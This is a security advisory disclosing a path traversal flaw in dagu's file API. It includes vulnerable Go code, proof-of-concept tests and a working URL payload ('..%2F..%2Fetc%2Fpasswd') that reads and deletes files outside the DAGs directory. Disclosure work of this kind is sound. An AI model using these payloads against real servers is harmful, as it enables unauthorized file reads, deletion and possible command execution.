GHSA-ph8x-4jfv-v9v8

The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory.

Vulnerable code

internal/persis/filedag/store.go, lines 508-513:

func (store *Storage) locateDAG(nameOrPath string) (string, error) {
    if strings.Contains(nameOrPath, string(filepath.Separator)) {
        foundPath, err := findDAGFile(nameOrPath)
        if err == nil {
            return foundPath, nil  // returns arbitrary resolved path
        }
    }
    // ...safe searchPaths branch follows

findDAGFile resolves the path with filepath.Abs and checks only that the file exists with a YAML extension. No containment check against baseDir.

Chi v5 routes using r.URL.RawPath when set. The pattern /dags/{fileName}/spec captures ..%2F..%2Fetc%2Ftarget.yaml as a single path segment. The oapi-codegen runtime calls url.PathUnescape, producing ../../etc/target.yaml. This decoded string reaches locateDAG with the / separator intact.

Go's net/http.ServeMux would normally redirect paths containing .., but dagu binds the chi mux directly to &http.Server{Handler: r} (server.go:833-834), so no path cleaning fires.

Affected endpoints

The three confirmed impacts via locateDAG:

| Endpoint | Impact | |----------|--------| | GET /dags/{fileName}/spec | Arbitrary .yaml/.yml file read (os.ReadFile) | | DELETE /dags/{fileName} | Arbitrary .yaml/.yml file delete (os.Remove) | | POST /dags/{fileName}/start | Load arbitrary YAML, execute as workflow |

Same pattern affects all other {fileName} endpoints: /dag-runs, /dag-runs/{id}, /rename, /start-sync, /enqueue, and webhook handlers. UpdateDAGSpec is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject /.

PoC

Store-level (dagu v2.0.2, Go 1.26, macOS; locateDAG unchanged through v2.3.0):

func TestLocateDAGPathTraversal(t *testing.T) {
    baseDir, _ := os.MkdirTemp("", "bd")
    defer os.RemoveAll(baseDir)
    outsideDir, _ := os.MkdirTemp("", "od")
    defer os.RemoveAll(outsideDir)

    store := filedag.New(baseDir, filedag.WithSkipExamples(true))
    ctx := context.Background()
    store.Create(ctx, "legit", []byte("name: legit\nsteps:\n  - name: s\n    command: echo ok\n"))

    target := filepath.Join(outsideDir, "secret.yaml")
    os.WriteFile(target, []byte("password: hunter2\ndb_host: prod-db.internal\n"), 0644)

    rel, _ := filepath.Rel(baseDir, target)
    spec, _ := store.GetSpec(ctx, rel)
    fmt.Println(spec)
}

Output:

baseDir:    /tmp/bd1816472583
targetFile: /tmp/od3906487343/secret.yaml
traversal:  ../od3906487343/secret.yaml

=== GetSpec (arbitrary file read) ===
SUCCESS: read file outside baseDir
Content:
password: hunter2
db_host: prod-db.internal

=== Delete (arbitrary file delete) ===
SUCCESS: deleted /tmp/od3906487343/important.yaml

HTTP-level (chi v5.2.2):

r := chi.NewRouter()
r.Get("/dags/{fileName}/spec", func(w http.ResponseWriter, r *http.Request) {
    raw := chi.URLParam(r, "fileName")
    decoded, _ := url.PathUnescape(raw)
    fmt.Fprintf(w, "raw=%s\ndecoded=%s\n", raw, decoded)
})

req := httptest.NewRequest("GET", "/dags/..%2F..%2Fetc%2Ftarget.yaml/spec", nil)
w := httptest.NewRecorder()
r.ServeHTTP(w, req)

Output:

path: /dags/..%2F..%2Fetc%2Fpasswd/spec
status: 200
raw=..%2F..%2Fetc%2Fpasswd
decoded=../../etc/passwd

Chi captures ..%2F..%2Fetc%2Fpasswd as one path segment via RawPath, oapi-codegen decodes %2F to /. Confirmed with chi v5.2.2.

Affected versions

• v2.0.0 through v2.3.0 (current latest, checked 2026-03-18).
• The locateDAG function with the filepath.Separator code path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite.
• The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched CreateNewDAG but didn't address the new locateDAG code path that was introduced in the same release.

Suggested fix

Add path containment to locateDAG rather than sprinkling ValidateDAGName across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split locateDAG into a validated public method (HTTP handlers) and an internal method (trusted callers only).

Impact

An authenticated user (or any user if auth.mode=none) can read or delete any .yaml/.yml file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files.

The execute endpoints also traverse via locateDAG, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven't verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same locateDAG call confirmed above.

Auth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don't enforce RBAC granularity. Pre-v2.0.0 deployments or those with auth.mode=none are exploitable without credentials.